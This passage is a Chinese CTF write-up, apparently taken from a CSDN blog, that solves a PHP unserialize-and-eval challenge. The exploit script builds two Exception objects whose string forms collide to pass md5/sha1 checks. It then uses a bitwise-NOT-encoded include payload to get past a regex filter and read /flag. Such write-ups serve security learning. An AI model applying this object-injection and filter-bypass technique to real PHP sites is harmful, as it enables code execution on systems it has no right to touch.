syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } }}if (isset($_GET['great'])){ unserialize($_GET['great']);} else { highlight_file(__FILE__);}?>
发现第一个if是md5和sha1函数的漏洞,用一个数组就可以绕过去,但是命令里面eval()syc这个参数又得被执行,所以不能是数组。
这时候只能想到php中的内置类,也就是原生类。
Error:用于PHP7、8,开启报错。
Exceotion:用于PHP5、7、8,开启报错。会自动调用__tostring
Error是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的
PHP7中,可以在echo时触发__toString,来构造XSS。
实验发现除了报错的行数不同其他都一样 ,所以我们把他们放在一行不久可以绕过第一个if
这里本来是用Exception构造,可是报错,因为我的php版本是5.41的然后没有Error,正在我想为什么报错的时候突然想到了,因为php7版本才引入PHP7中,可以在echo时触发__toString所以换了一个版本。
syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } }} $str = "?>=include~".urldecode("%D0%99%93%9E%98")."?>";$a=new Exception($str,1);$b=new Exception($str,2);$c = new SYCLOVER();$c->syc = $a;$c->lover = $b;echo(urlencode(serialize($c))); ?>
实验发现成功 ,Exception可以换成Error是一样的
绕过第一个if是因为后面第二个参数的不同,举例子
相同以后进不去if.空的界面
"?>=include~".urldecode("%D0%99%93%9E%98")."?>";
这里解释以下,为什么要?>闭合掉,因为前面可能会有一些报错的信息,所以可以先闭合掉前面的东西,然后再来包含后面的是取反,因为在链里面所以需要用到解码,不用编码绕不过去正则,里面是/flag因为刷题多了都在根目录下面,不在的话正能一步步尝试。
来源地址:https://blog.csdn.net/qq_62046696/article/details/128390122